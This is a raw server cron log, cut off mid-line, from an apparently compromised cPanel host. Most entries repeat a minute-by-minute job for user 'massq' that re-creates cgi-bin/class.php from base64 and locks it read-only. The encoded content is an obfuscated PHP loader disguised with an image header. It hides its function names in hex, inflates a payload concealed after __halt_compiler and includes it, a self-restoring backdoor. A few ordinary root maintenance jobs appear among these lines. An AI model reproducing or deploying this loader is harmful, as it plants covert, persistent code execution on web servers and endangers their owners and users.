Nov 14 21:16:01 server CROND[27092]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 21:17:01 server CROND[28009]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 21:18:01 server CROND[28938]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 21:19:01 server CROND[29871]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 21:20:01 server CROND[30836]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 21:20:01 server CROND[30838]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 21:20:01 server CROND[30839]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 14 21:20:01 server CROND[30841]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 21:20:01 server CROND[30840]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 14 21:21:01 server CROND[31939]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 21:22:01 server CROND[400]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 21:23:01 server CROND[1336]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 21:24:01 server CROND[2266]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 21:25:01 server CROND[3164]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 21:25:01 server CROND[3165]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 21:25:01 server CROND[3166]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 21:26:01 server CROND[4243]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 21:27:01 server CROND[5170]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 21:27:01 server CROND[5171]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 14 21:28:01 server CROND[5796]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 21:29:01 server CROND[6727]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo 